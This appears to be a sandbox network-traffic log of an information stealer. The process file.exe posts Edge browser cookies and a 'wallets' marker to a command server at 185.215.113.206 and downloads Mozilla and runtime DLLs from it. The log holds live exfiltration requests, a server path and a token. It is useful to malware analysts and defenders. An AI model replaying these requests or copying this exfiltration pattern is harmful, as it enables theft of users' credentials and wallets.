Nov 22, 2024 00:11:37.585644960 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="file"------FBGHCGCAEBFIJKFIDBGH--
Nov 22, 2024 00:11:38.540555000 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49788	185.215.113.206	80	5356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:11:44.348862886 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEBKJDAFHJDGDHJKKEG Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KJEBKJDAFHJDGDHJKKEG--
Nov 22, 2024 00:11:46.251645088 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 00:11:46.648968935 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file"------KFHJJJKKFHIDAAKFBFBF--
Nov 22, 2024 00:11:47.598367929 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 00:11:48.513861895 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 00:11:48.966248035 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 22, 2024 00:11:48.966291904 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Nov 22, 2024 00:11:48.966304064 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 22, 2024 00:11:48.966336966 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 22, 2024 00:11:48.966392040 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Nov 22, 2024 00:11:48.966406107 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Nov 22, 2024 00:11:48.966422081 CET	1236	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Nov 22, 2024 00:11:48.966463089 CET	1236	IN	Data Raw: 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 Data Ascii: ]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[f
Nov 22, 2024 00:11:48.974905968 CET	1236	IN	Data Raw: 0f b6 14 02 00 d1 0f b6 d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 8b 5d dc 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 18 09 f0 8b 75 d8 33 45 d4 8b 55 e8 89 04 13 8b 45 e8 83 c6 fc 83 c0 04 89 75 d8 83 fe 03 0f 87 f0 fe ff ff 8b 7d Data Ascii: }4}4E]Uu3EUEu}U}]E]E8u40480u}T20ETEuE14^_[]UM1]U}
Nov 22, 2024 00:11:48.975038052 CET	1236	IN	Data Raw: f3 01 89 9d 60 ff ff ff 8b 9d 74 ff ff ff 8b 53 20 89 95 4c ff ff ff 8b 8d dc fe ff ff 8b 41 10 89 85 ac fe ff ff 89 c6 01 d6 8b 53 24 89 95 1c ff ff ff 8b 41 14 89 85 b0 fe ff ff 89 c7 11 d7 8b 41 30 89 85 d0 fe ff ff 01 c6 89 f3 8b 41 34 89 85 Data Ascii: `tS LAS$AA0A4}qT1QP1kA+]rn<}33Ht{({,]HE]11EuUUu
Nov 22, 2024 00:11:48.983438015 CET	1236	IN	Data Raw: a8 31 c2 89 55 a8 8b 7d 88 31 cf 89 7d 88 8b 45 dc 01 d0 89 45 dc 8b 4d d8 11 f9 89 4d d8 31 c3 31 ce 89 d8 0f a4 f0 08 0f a4 de 08 8b 95 74 ff ff ff 8b 4a 7c 89 8d 50 ff ff ff 8b 7a 78 89 bd 74 ff ff ff 8b 5d d0 01 fb 8b 55 e4 11 ca 01 f3 89 5d Data Ascii: 1U}1}EEMM11tJ\|Pzxt]U]U}1M1xM}}MM11ETMdEMu1uU1EEMM11}`]D
Nov 22, 2024 00:11:50.485713005 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 00:11:50.952522039 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 22, 2024 00:11:51.883343935 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 00:11:52.340612888 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 22, 2024 00:11:53.083333015 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 00:11:53.534096956 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 22, 2024 00:11:56.688756943 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 00:11:57.137590885 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 22, 2024 00:11:57.806221962 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 00:11:58.254976034 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 22, 2024 00:11:59.063308001 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAEC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 00:12:00.011028051 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 00:12:00.086363077 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="message"wallets------JDAKJJDBGCAKKFHIJEGH--
